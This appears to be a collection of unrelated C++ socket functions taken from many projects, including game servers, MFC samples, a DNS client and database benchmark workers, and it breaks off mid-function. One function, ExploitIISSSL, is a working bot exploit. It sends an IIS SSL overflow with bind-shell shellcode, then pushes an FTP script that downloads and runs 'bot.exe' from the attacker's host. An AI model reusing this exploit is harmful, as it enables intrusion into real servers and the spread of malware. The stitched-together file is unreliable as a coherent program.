void ListServer_Connect() { if ((lsConnected = listServer.connect(findKey("listip"), atoi(findKey("listport")))) == false) { errorOut("rclog.txt", "Unable to connect to list server", true); return; } errorOut("rclog.txt", "Connected to the list server successfully\n", true); listServer.setSync(false); // send gserver info to listserver ListServer_Send(CPacket() << (char)SLSNAME << listServerFields[0] << "\n" << (char)SLSDESC << listServerFields[1] << "\n" << (char)SLSLANG << listServerFields[2] << "\n" << (char)SLSVER << listServerFields[3] << "\n" << (char)SLSURL << listServerFields[4] << "\n" << (char)SLSIP << listServerFields[5] << "\n" << (char)SLSPORT << toString(serverPort) << "\n"); // send players to listserver CPacket pPacket; for (int i = 0; i < playerList.count(); i++) { CPlayer *player = (CPlayer *)playerList[i]; pPacket << (char)player->accountName.length() << player->accountName << player->getProp(NICKNAME) << player->getProp(CURLEVEL) << player->getProp(PLAYERX) << player->getProp(PLAYERY) << player->getProp(PALIGNMENT) << (char)player->type; } ListServer_Send(CPacket() << (char)SLSCOUNT << (char)playerList.count() << pPacket << "\n"); }
CSocket* CSocket::accept() { int fromSize = sizeof(sockaddr_in); sockaddr_in from; SOCKET conSock = ::accept(m_sock, (sockaddr *)&from, &fromSize); if (conSock == INVALID_SOCKET) return NULL; // 接続があった CSocket* pSocket = new CSocket; pSocket->m_sock = conSock; pSocket->m_fromHost.port = from.sin_port; pSocket->m_fromHost.ip = from.sin_addr.S_un.S_un_b.s_b1<<24 | from.sin_addr.S_un.S_un_b.s_b2<<16 | from.sin_addr.S_un.S_un_b.s_b3<<8 | from.sin_addr.S_un.S_un_b.s_b4; pSocket->_setBlocking(false); pSocket->_setBufSize(65535); return pSocket; }
EIO_Status CListeningSocket::Accept(CSocket& sock, const STimeout* timeout, TSOCK_Flags flags) const { SOCK x_sock; EIO_Status status; if ( !m_Socket ) { x_sock = 0; status = eIO_Closed; } else status = LSOCK_AcceptEx(m_Socket, timeout, &x_sock, flags); assert(!x_sock ^ !(status != eIO_Success)); sock.Reset(x_sock, eTakeOwnership, eCopyTimeoutsToSOCK); return status; }
/** * Listens and accepts a client. Returns the accepted connection. * @return CSocket*. * @throw CSocketException * @since 1.0.0 */ CSocket* CServerSocket::Accept() throw (CSocketException) { if(m_sockAddr != NULL) m_sockAddrIn = m_sockAddr->GetSockAddrIn(); if(!m_bBound) { if (m_socket == INVALID_SOCKET) { m_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } // The Bind method binds the socket to the server. int nret = bind(m_socket, (LPSOCKADDR)&m_sockAddrIn, sizeof(struct sockaddr)); if (nret == SOCKET_ERROR) { throw CSocketException(WSAGetLastError(), "Failed to bind: Accept()"); } m_bBound = true; } // The listen function places a socket in a state in which it is listening for an incoming connection. if (listen(m_socket, m_nQueue) == SOCKET_ERROR) { throw CSocketException(WSAGetLastError(), "Failed to listen: Accept()"); } SOCKET theClient = INVALID_SOCKET; SOCKADDR_IN clientAddr; int ssz = sizeof(struct sockaddr); // The accept function permits an incoming connection attempt on a socket. theClient = accept(m_socket,(LPSOCKADDR)&clientAddr, &ssz); if (theClient == INVALID_SOCKET) { throw CSocketException(WSAGetLastError(), "Invalid client socket: Accept()"); } CSocket *sockClient = new CSocket(); sockClient->SetSocket(theClient); sockClient->SetClientAddr(clientAddr); return sockClient; }
static void s_WriteToSocket(CSocket& sock, const char* output_buffer, size_t output_buffer_size) { size_t bytes_written; while (output_buffer_size > 0) { EIO_Status status = sock.Write(output_buffer, output_buffer_size, &bytes_written); if (status != eIO_Success) { // Error writing to the socket. // Log what we can. string message_start; if (output_buffer_size > 32) { CTempString buffer_head(output_buffer, 32); message_start = NStr::PrintableString(buffer_head); message_start += " (TRUNCATED)"; } else { CTempString buffer_head(output_buffer, output_buffer_size); message_start = NStr::PrintableString(buffer_head); } NCBI_THROW_FMT(CNetStorageException, eIOError, "Error writing message to the NetStorage server " << sock.GetPeerAddress() << ". " "Socket write error status: " << IO_StatusStr(status) << ". " "Bytes written: " << NStr::NumericToString(bytes_written) << ". " "Message begins with: " << message_start); } output_buffer += bytes_written; output_buffer_size -= bytes_written; } }
unsigned int WINAPI SocketThread(void *lpParameter) { CSocket socket; if (!socket.open()) { return 0; } CPacketKeepAlive packet((UINT32)lpParameter); while (TRUE) { socket.sendto(packet.GetData(), packet.GetSize()); if (WAIT_TIMEOUT != ::WaitForSingleObject(g_hEventFinish, 1000)) { break; } } socket.close(); return 0; }
virtual void run() { CSocket *client; CSocket sock(SOCK_STREAM); sock.bind(REMOTE_PORT); sock.listen(); while(1) { client = sock.accept(); // wait for client connecting if ( client ) { dbg.println("server: connected"); byte buf[sizeof(msg)]; int len; while( client->isConnected() ) { if ( client->readable() ) { len = client->read(buf, sizeof(buf)); // read message from client client->write(buf, len); // write back message to client leds[0] = !leds[0]; dbg.println("Client > %s", buf); } } delete client; // free the client socket after disconnected dbg.println("server: disconnected"); } } }
// worker thread void *MarketWorkerThread(void* data) { PMarketThreadParam pThrParam = reinterpret_cast<PMarketThreadParam>(data); CSocket sockDrv; sockDrv.setSocketFd(pThrParam->iSockfd); // client socket PTradeRequest pMessage = new TTradeRequest; memset(pMessage, 0, sizeof(TTradeRequest)); // zero the structure do { try { sockDrv.dbt5Receive(reinterpret_cast<void*>(pMessage), sizeof(TTradeRequest)); // submit trade request pThrParam->pMarketExchange->m_pCMEE->SubmitTradeRequest(pMessage); } catch(CSocketErr *pErr) { sockDrv.dbt5Disconnect(); // close connection ostringstream osErr; osErr << time(NULL) << " Trade Request not submitted to Market Exchange" << endl << "Error: "<<pErr->ErrorText() << endl; pThrParam->pMarketExchange->logErrorMessage(osErr.str()); delete pErr; // The socket is closed, break and let this thread die. break; } } while (true); delete pMessage; delete pThrParam; return NULL; }
// dump request void dump_request( HttpRequest& req, HttpUrl& url, CSocket& s ) { s.printf( "<br><br><table border width=650>" ); s.printf( "<tr><td>%s</td><td>%s</td></tr>", req.method(), url.file() ); for( HttpRequest::TagsIterator it=req.tags_begin(); it != req.tags_end(); it++ ) { s.printf( "<tr><td><b>%s</b></td>", (*it).first.c_str() ); if( !(*it).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*it).second ); } s.printf("</table>" ); // informatiile din url s.printf( "<table border width=650>" ); for( HttpUrl::QueryIterator itr=url.query_begin(); itr != url.query_end(); itr++ ) { s.printf( "<tr><td><b>%s</b></td>", (*itr).first.c_str() ); if( !(*itr).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*itr).second ); } s.printf("</table>" ); }
bool CServerWorkFlow::Accept(SOCKET hListenSock) { CSocket socket; SOCKET hOldSock = socket.Detach(); socket.Attach(hListenSock); BOOL bAccept = socket.Accept(*m_pServerSocket); socket.Detach(); socket.Attach(hOldSock); return (TRUE == bAccept); }
BOOL CServerSocket::RecvData(CSocket& client, BYTE* pData, long nLen) { BYTE* pTmpData=pData; long nLeft=nLen;//剩余的还没有的接收的数据的长度 while (nLeft>0) { int nRecv=client.Receive(pTmpData,nLeft); if (nRecv==SOCKET_ERROR) { return FALSE; } nLeft-=nRecv; pTmpData+=nRecv; } return TRUE; }
/*更新前继的前继和后继的后继*/ void Join::suc_suc_pre_pre() { CSocket socket; socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort); string cmd = "set_your_pre_pre "; stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort(); cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str()); socket.WriteLine(cmd); socket.Close(); socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort); cmd = "set_your_suc_suc "; cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str()); socket.WriteLine(cmd); socket.Close(); }
bool CScannerHTTP::ExploitIISSSL(int iHTTPType) { unsigned int i; unsigned char *badbuf, *p; unsigned long offset=0x6741a1cd, XOR=0xffffffff; if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) { SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00"; /* hidden cmd.exe, bind port 1981 */ char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99"; badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347); p=badbuf; memcpy(p, sslshit, sizeof(sslshit)); p+=sizeof(sslshit)-1; strcat((char*)p, jumper); strcat((char*)p, greetings_to_microsoft); offset^=XOR; strncat((char*)p, (char*)&offset, 4); strcat((char*)p, shellcode); if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; } Sleep(1000); CSocket outSocket; if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) { if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost); m_sSocket.Disconnect(); return false; } /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Thanks to PhaTTy for this piece of code :) */ char mkdir_buff[400]=""; int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue; /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n", g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe"); char szRecvBuf[8192]; if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } Sleep(500); if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } /* successful!!! */ if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) { SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } m_sSocket.Disconnect(); return true; }
void CServer::Run() { Init(); CSocket sock; if(!sock.Socket()) return; if(!sock.Bind( CConfig::GetInstance()->GetPortPID(ID_SERVER), CConfig::GetInstance()->GetAddrPID(ID_SERVER)) ) return; cout << "listening.." << endl; sock.Listen(); CWireThread* pThreadWire = new CWireThread(); pThreadWire->Start(); CGateThread* pThreadGate = new CGateThread(); pThreadGate->Start(); if(!sock.Accept(m_sockMain)) return; if(!sock.Accept(m_sockOT)) return; sock.Close(); cout << "accepted sockets!" << endl; COTThread* pThreadOT = new COTThread(); pThreadOT->Start(); RunMainThread(); m_sockMain.Close(); pThreadOT->Wait(); m_sockOT.Close(); pThreadGate->Wait(); pThreadWire->Wait(); Cleanup(); delete pThreadOT; delete pThreadGate; delete pThreadWire; }
void ListServer_SendServerHQ() { if ( serverRunning == false ) return; if ( listServerFields[5] == "localhost" ) return; if (!lsConnected) { ListServer_Connect(); if (!lsConnected) return; } CPacket packet; packet << (char)SLSSERVERHQPASS << serverhq_pass << "\n"; packet << (char)SLSSERVERHQLEVEL << (char)serverhq_level << "\n"; if (listServer.sendData(packet) < 0) { errorOut("serverlog.txt", "Disconnected from list server."); lsConnected = false; } }
void CGameUpdate::UpdateAfter() { //当真正更新了文件(索引在更新前己经被删除), //以及版本号不相同(有可能不需要更新(版本号不相同索引也被删除))时, //都需要写索引文件,以及动态还原。 std::wstring idxfile = m_strCliPath + INDEX_FILE_NAMEW; if (!PathFileExistsW(idxfile.c_str())) { //write local idxfile. HANDLE hFile = CreateFileW(idxfile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { DWORD dwWriteBytes = 0; ::WriteFile(hFile, m_pIdxfile, m_nIdxfileSize, &dwWriteBytes, NULL); SetFileTime(hFile, NULL, NULL, &m_ftIdxfile); CloseHandle(hFile); } //write virtual device idxfile. if (_wcsicmp(m_strDevPath.c_str(), m_strCliPath.c_str()) != 0) { std::wstring devidxfile = m_strDevPath + INDEX_FILE_NAMEW; HANDLE hFile = CreateFileW(devidxfile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { DWORD dwWriteBytes = 0; ::WriteFile(hFile, m_pIdxfile, m_nIdxfileSize, &dwWriteBytes, NULL); SetFileTime(hFile, NULL, NULL, &m_ftIdxfile); CloseHandle(hFile); } } //notify server game update finished. m_Server.ReportUpdateFinished(m_dwGid, m_dwSvrIdxVer, m_strCliPath.c_str()); //hy dynamic execute update directory. hy_ExueteUpdateDir(m_strCliPath.c_str()); } }
void main() { AfxSocketInit(); CSocket sock; int n = sock.Create(PORT1); if(!n) { cout << "创建句柄失败:" << GetLastError() << endl; return; } sock.Listen(); while (true) { CSocket socka; n = sock.Accept(socka); if(!n) { cout << "接受对方连接失败:" << GetLastError() << endl; return; } while (true) { char s[256]; n = socka.Receive(s,sizeof(s)); if(SOCKET_ERROR == n) { cout << "接收数据失败:" << GetLastError() << endl; break; } if(!n) { cout << "结束接收数据,句柄关闭!" << endl; break; } cout << s <<endl; } socka.Close(); } }
BOOL CServerSocket::RecvData(CSocket & client, BYTE* pData,DWORD nLen) { LPBYTE pTmpData=pData;//当前要存放数据的缓冲区地址 DWORD nLeft=nLen;//当前未接收的数据的长度 while(nLeft>0) { //接收剩余数据,并返回当次接收的实际数据长度 int nRecv=client.Receive(pTmpData,nLeft); if (nRecv==SOCKET_ERROR) { return FALSE; } //重新计算剩余的数据长度 nLeft=nLeft-nRecv; //将数据指针偏移已经接受的数据量 pTmpData=pTmpData+nRecv; } return TRUE; }
void ListServer_Send(CPacket &pPacket) { if ( serverRunning == false ) return; if ( listServerFields[5] == "localhost" ) return; if (!lsConnected) { ListServer_Connect(); if (!lsConnected) return; } // Make sure a newline is sent after the message. if ( pPacket[ pPacket.length() - 1 ] != '\n' ) pPacket << "\n"; if ( listServer.sendData( pPacket ) < 0 ) { errorOut("serverlog.txt", "Disconnected from list server."); lsConnected = false; } }
uint32_t set_up_parameters(role_type role, uint32_t myneles, uint32_t* mybytelen, uint8_t** elements, uint8_t** pelements, CSocket& sock, crypto* crypt) { uint32_t pneles, nintersections, offset; //Exchange meta-information and equalize byte-length sock.Send(&myneles, sizeof(uint32_t)); sock.Receive(&pneles, sizeof(uint32_t)); if(role == SERVER) { sock.Send(mybytelen, sizeof(uint32_t)); } else { sock.Receive(mybytelen, sizeof(uint32_t)); } *elements = (uint8_t*) malloc(myneles * *mybytelen); *pelements = (uint8_t*) malloc(pneles * *mybytelen); crypt->gen_rnd(*elements, myneles * *mybytelen); //Exchange elements for later check if(role == SERVER) { sock.Send(*elements, myneles * *mybytelen); sock.Receive(*pelements, pneles * *mybytelen); } else { //have the client use some of the servers values s.t. the intersection is not disjoint sock.Receive(*pelements, pneles * *mybytelen); nintersections = rand() % min(myneles, pneles); offset = myneles / nintersections; for(uint32_t i = 0; i < nintersections; i++) { memcpy(*elements + i * offset * *mybytelen, *pelements + i * *mybytelen, *mybytelen); } sock.Send(*elements, myneles * *mybytelen); } return pneles; }
int main(int argc, char* argv[]){ CSocket csocket; CPacket packet; int Command; char* sendMessage = new char[BUF_LEN]; parse_arguments(argc, argv); if (!s_serverPort) { cout<<"! The server port number is not defined."<<endl; usage(argv[0]); return 1; } if (!s_serverIP) { cout<<"! The server ip address is not defined"<<endl; usage(argv[0]); return 1; } bool connect=csocket.Connect(s_serverIP,s_serverPort); csocket.SetBlocking(false);//设置阻塞模式 //on_login_reply(!connect); if(connect) { cout<<"Connect the server success,please login."<<endl; show_prompt(); uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程 while(1) { char buf[BUF_LEN]; cin>>buf; if (Command = packet.paseArguement(buf)) { memset(sendMessage, 0, 1024); sendMessage = packet.getCommand(Command); } show_prompt(); csocket.Send(sendMessage,sizeof(buf)); //csocket.Receive(64); if(csocket.IsExit()) { csocket.Close(); cout<<"exit success"<<endl; break; } } } else {
void SendList() { TFavContacts favList; favList.build(); m_socket->Send( "HTTP 200 OK\r\n" "Content-Type: text/javascript\r\n" "\r\n"); Send("try {\r\n"); Send("SetContactCount("); Send(favList.getCount()); Send(");\r\n"); for (int i = 0; i < favList.getCount(); ++i) { MCONTACT hContact = favList[i]->getHandle(); TCHAR *name = (TCHAR *)pcli->pfnGetContactDisplayName(hContact, 0); AVATARCACHEENTRY *avatar = (AVATARCACHEENTRY *)CallService(MS_AV_GETAVATARBITMAP, hContact, 0); int status = db_get_w(hContact, GetContactProto(hContact), "Status", ID_STATUS_OFFLINE); Send("SetContact("); Send(i); Send(", "); Send((int)hContact);// XXX: x64 broken!? Send(", '"); SendQuoted(name); Send("', "); Send(status); Send(", '"); SendQuoted(avatar ? avatar->szFilename : _T("")); Send("');\r\n"); } Send("} catch(e) {}\r\n"); }
void SendList() { TFavContacts favList; favList.build(); m_socket->Send( "HTTP 200 OK\r\n" "Content-Type: text/javascript\r\n" "\r\n"); Send("try {\r\n"); Send("SetContactCount("); Send(favList.getCount()); Send(");\r\n"); for (int i = 0; i < favList.getCount(); ++i) { HANDLE hContact = favList[i]->getHandle(); TCHAR *name = (TCHAR *)CallService(MS_CLIST_GETCONTACTDISPLAYNAME, (WPARAM)hContact, GCDNF_TCHAR); AVATARCACHEENTRY *avatar = (AVATARCACHEENTRY *)CallService(MS_AV_GETAVATARBITMAP, (WPARAM)hContact, 0); int status = db_get_w(hContact, GetContactProto(hContact), "Status", ID_STATUS_OFFLINE); Send("SetContact("); Send(i); Send(", "); Send((int)hContact); Send(", '"); SendQuoted(name); Send("', "); Send(status); Send(", '"); SendQuoted(avatar ? avatar->szFilename : _T("")); Send("');\r\n"); } Send("} catch(e) {}\r\n"); }
boolean CDNSClient::Resolve (const char *pHostname, CIPAddress *pIPAddress) { assert (pHostname != 0); if ('1' <= *pHostname && *pHostname <= '9') { return FALSE; } assert (m_pNetSubSystem != 0); CIPAddress DNSServer (m_pNetSubSystem->GetConfig ()->GetDNSServer ()->Get ()); CSocket Socket (m_pNetSubSystem, IPPROTO_UDP); if (Socket.Connect (DNSServer, 53) != 0) { return FALSE; } u8 Buffer[DNS_MAX_MESSAGE_SIZE]; memset (Buffer, 0, sizeof Buffer); TDNSHeader *pDNSHeader = (TDNSHeader *) Buffer; u16 nXID = s_nXID++; pDNSHeader->nID = le2be16 (nXID); pDNSHeader->nFlags = BE (DNS_FLAGS_OPCODE_QUERY | DNS_FLAGS_RD); pDNSHeader->nQDCount = BE (1); u8 *pQuery = Buffer + sizeof (TDNSHeader); char Hostname[MAX_HOSTNAME_SIZE]; strncpy (Hostname, pHostname, MAX_HOSTNAME_SIZE-1); Hostname[MAX_HOSTNAME_SIZE-1] = '\0'; char *pSavePtr; size_t nLength; char *pLabel = strtok_r (Hostname, ".", &pSavePtr); while (pLabel != 0) { nLength = strlen (pLabel); if ( nLength > 255 || (int) (nLength+1+1) >= DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer)) { return FALSE; } *pQuery++ = (u8) nLength; strcpy ((char *) pQuery, pLabel); pQuery += nLength; pLabel = strtok_r (0, ".", &pSavePtr); } *pQuery++ = '\0'; TDNSQueryTrailer QueryTrailer; QueryTrailer.nQType = BE (DNS_QTYPE_A); QueryTrailer.nQClass = BE (DNS_QCLASS_IN); if ((int) (sizeof QueryTrailer) > DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer)) { return FALSE; } memcpy (pQuery, &QueryTrailer, sizeof QueryTrailer); pQuery += sizeof QueryTrailer; int nSize = pQuery - Buffer; assert (nSize <= DNS_MAX_MESSAGE_SIZE); unsigned char RecvBuffer[DNS_MAX_MESSAGE_SIZE]; int nRecvSize; unsigned nTry = 1; do { if ( nTry++ > 3 || Socket.Send (Buffer, nSize, 0) != nSize) { return FALSE; } CScheduler::Get ()->MsSleep (1000); nRecvSize = Socket.Receive (RecvBuffer, DNS_MAX_MESSAGE_SIZE, MSG_DONTWAIT); assert (nRecvSize < DNS_MAX_MESSAGE_SIZE); } while (nRecvSize < (int) (sizeof (TDNSHeader)+sizeof (TDNSResourceRecordTrailerAIN))); pDNSHeader = (TDNSHeader *) RecvBuffer; if ( pDNSHeader->nID != le2be16 (nXID) || (pDNSHeader->nFlags & BE ( DNS_FLAGS_QR | DNS_FLAGS_OPCODE | DNS_FLAGS_TC | DNS_FLAGS_RCODE)) != BE (DNS_FLAGS_QR | DNS_FLAGS_OPCODE_QUERY | DNS_RCODE_SUCCESS) || pDNSHeader->nQDCount != BE (1) || pDNSHeader->nANCount == BE (0)) { return FALSE; } u8 *pResponse = RecvBuffer + sizeof (TDNSHeader); // parse the query section while ((nLength = *pResponse++) > 0) { pResponse += nLength; if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } pResponse += sizeof (TDNSQueryTrailer); if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } TDNSResourceRecordTrailerAIN RRTrailer; // parse the answer section while (1) { nLength = *pResponse++; if ((nLength & 0xC0) == 0xC0) // check for compression { pResponse++; } else { if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } while ((nLength = *pResponse++) > 0) { pResponse += nLength; if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } } if (pResponse-RecvBuffer > (int) (nRecvSize-sizeof RRTrailer)) { return FALSE; } memcpy (&RRTrailer, pResponse, sizeof RRTrailer); if ( RRTrailer.nType == BE (DNS_QTYPE_A) && RRTrailer.nClass == BE (DNS_QCLASS_IN) && RRTrailer.nRDLength == BE (DNS_RDLENGTH_AIN)) { break; } pResponse += DNS_RR_TRAILER_HEADER_LENGTH + BE (RRTrailer.nRDLength); if (pResponse-RecvBuffer >= nRecvSize) { return FALSE; } } assert (pIPAddress != 0); pIPAddress->Set (RRTrailer.RData); return TRUE; }
void *workerThread(void *data) { signal(SIGTERM, signal_kill_handler); try { PThreadParameter pThrParam = reinterpret_cast<PThreadParameter>(data); CSocket sockDrv; sockDrv.setSocketFd(pThrParam->iSockfd); // client socket #ifndef NO_DEBUG_INFO ostringstream msg2; msg2<<"workerThread "<<pThrParam->t_id<<", start, iSockfd = "<<pThrParam->iSockfd<<endl; pThrParam->pBrokerageHouse->logErrorMessage(msg2.str()); #endif PMsgDriverBrokerage pMessage = new TMsgDriverBrokerage; memset(pMessage, 0, sizeof(TMsgDriverBrokerage)); // zero the structure TMsgBrokerageDriver Reply; // return message INT32 iRet = 0; // transaction return code CDBConnection *pDBConnection = NULL; #ifdef DB_PGSQL // new database connection pDBConnection = new CDBConnection( pThrParam->pBrokerageHouse->m_szHost, pThrParam->pBrokerageHouse->m_szDBName, pThrParam->pBrokerageHouse->m_szDBPort); #else pDBConnection = new CDBConnection( pThrParam->pBrokerageHouse, pThrParam->pBrokerageHouse->mysql_dbname, pThrParam->pBrokerageHouse->mysql_host, pThrParam->pBrokerageHouse->mysql_user, pThrParam->pBrokerageHouse->mysql_pass, pThrParam->pBrokerageHouse->mysql_port_t, pThrParam->pBrokerageHouse->mysql_socket_t); pDBClist[pThrParam->t_id] = pDBConnection; #ifdef CAL_RESP_TIME pDBConnection->init_profile_node(pThrParam->t_id, pThrParam->outputDir); #endif #endif pDBConnection->setBrokerageHouse(pThrParam->pBrokerageHouse); CSendToMarket sendToMarket = CSendToMarket( &(pThrParam->pBrokerageHouse->m_fLog)); #ifdef NO_MEE_FOR_TRADERESULT sendToMarket.m_pCMEE = pThrParam->pBrokerageHouse->m_pCMEE[pThrParam->t_id%pThrParam->pBrokerageHouse->iUsers]; #endif CMarketFeedDB marketFeedDB(pDBConnection); CMarketFeed marketFeed = CMarketFeed(&marketFeedDB, &sendToMarket); CTradeOrderDB tradeOrderDB(pDBConnection); CTradeOrder tradeOrder = CTradeOrder(&tradeOrderDB, &sendToMarket); // Initialize all classes that will be used to execute transactions. CBrokerVolumeDB brokerVolumeDB(pDBConnection); CBrokerVolume brokerVolume = CBrokerVolume(&brokerVolumeDB); CCustomerPositionDB customerPositionDB(pDBConnection); CCustomerPosition customerPosition = CCustomerPosition(&customerPositionDB); CMarketWatchDB marketWatchDB(pDBConnection); CMarketWatch marketWatch = CMarketWatch(&marketWatchDB); CSecurityDetailDB securityDetailDB = CSecurityDetailDB(pDBConnection); CSecurityDetail securityDetail = CSecurityDetail(&securityDetailDB); CTradeLookupDB tradeLookupDB(pDBConnection); CTradeLookup tradeLookup = CTradeLookup(&tradeLookupDB); CTradeStatusDB tradeStatusDB(pDBConnection); CTradeStatus tradeStatus = CTradeStatus(&tradeStatusDB); CTradeUpdateDB tradeUpdateDB(pDBConnection); CTradeUpdate tradeUpdate = CTradeUpdate(&tradeUpdateDB); CDataMaintenanceDB dataMaintenanceDB(pDBConnection); CDataMaintenance dataMaintenance = CDataMaintenance(&dataMaintenanceDB); CTradeCleanupDB tradeCleanupDB(pDBConnection); CTradeCleanup tradeCleanup = CTradeCleanup(&tradeCleanupDB); CTradeResultDB tradeResultDB(pDBConnection); CTradeResult tradeResult = CTradeResult(&tradeResultDB); int txn_cnt = 0; int abort_cnt = 0; double txn_time = 0; bool commit = true; double receiving_time = 0; // gettimeofday(&(pDBConnection->t1), NULL); do { try { //gettimeofday(&tt1, NULL); sockDrv.dbt5Receive(reinterpret_cast<void *>(pMessage), sizeof(TMsgDriverBrokerage)); //gettimeofday(&tt2, NULL); //if(txn_cnt > 0 && difftimeval(tt2, tt1)>1)pDBConnection->outfile<<"END"<<endl; //pDBConnection->outfile.flush(); } catch(CSocketErr *pErr) { sockDrv.dbt5Disconnect(); ostringstream osErr; osErr << "Error on Receive: " << pErr->ErrorText() << " at BrokerageHouse::workerThread" << endl; pThrParam->pBrokerageHouse->logErrorMessage(osErr.str()); delete pErr; // The socket has been closed, break and let this thread die. break; } loop: timeval t1, t2; double exec_time; gettimeofday(&t1, NULL); commit = true; iRet = CBaseTxnErr::SUCCESS; try { // Parse Txn type switch (pMessage->TxnType) { /*case BROKER_VOLUME: iRet = pThrParam->pBrokerageHouse->RunBrokerVolume( &(pMessage->TxnInput.BrokerVolumeTxnInput), brokerVolume); break; case CUSTOMER_POSITION: iRet = pThrParam->pBrokerageHouse->RunCustomerPosition( &(pMessage->TxnInput.CustomerPositionTxnInput), customerPosition); break; case MARKET_FEED: iRet = pThrParam->pBrokerageHouse->RunMarketFeed( &(pMessage->TxnInput.MarketFeedTxnInput), marketFeed); break; case MARKET_WATCH: iRet = pThrParam->pBrokerageHouse->RunMarketWatch( &(pMessage->TxnInput.MarketWatchTxnInput), marketWatch); break; case SECURITY_DETAIL: iRet = pThrParam->pBrokerageHouse->RunSecurityDetail( &(pMessage->TxnInput.SecurityDetailTxnInput), securityDetail); break; case TRADE_LOOKUP: iRet = pThrParam->pBrokerageHouse->RunTradeLookup( &(pMessage->TxnInput.TradeLookupTxnInput), tradeLookup); break;*/ #ifdef TRADEORDER case 